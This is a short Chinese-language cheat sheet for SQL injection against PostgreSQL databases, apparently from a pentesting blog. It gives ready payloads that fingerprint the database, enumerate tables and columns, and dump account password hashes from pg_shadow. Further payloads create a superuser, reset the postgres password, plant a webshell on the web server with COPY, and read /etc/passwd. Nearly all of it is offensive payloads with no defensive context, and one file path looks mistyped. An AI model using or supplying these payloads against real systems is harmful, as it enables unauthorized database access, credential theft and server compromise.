Sql注入之Postgresql
介绍
Postgresql是一款中小型数据库,经常与PHP一起使用。
数据库判断
+and+1::int=1-
返回正常即为Postgresql数据库
常用注入语句
- 数据库版本
+and+1=cast(version() as int)-
- 判断当前用户
and 1=cast(user||123 as int)
- 判断字段数
order by
联合注入
用法和oracle相似
- 数据库版本信息
union select null,version(),null
- 用户权限
union select null,current_schema(),null
- 数据库名称
union select null,current_database(),null
- 表名
union select null,relname,null from pg_stat_user_tables
- 列名
union select null,column_name,null from information_schema.columns where table_name='表名'
- 查看数据库账号密码
union select null,usename|char(124)|passwd,null from pg_shadow
||连接字符串
char(124)为|
获得结果例子:admin|password
- 创建用户
;create user test with superuser password 'test'--
- 修改postgres的用户密码为pass
;alter user postgres with password 'pass'
写shell
- 方法一
依次执行如下三个命令
;create table shell(shell text not null);
;insert into shell values(一句话木马);
;copy shell(shell) to '/www/shell.php';
这样就会将一句话木马写到,www目录下的shell.php文件中
- 方法二
;copy (select '一句话木马') to '/www/shell/php';
读文件
pg_read_file('/etc/passwd',1,20) #读文件前20行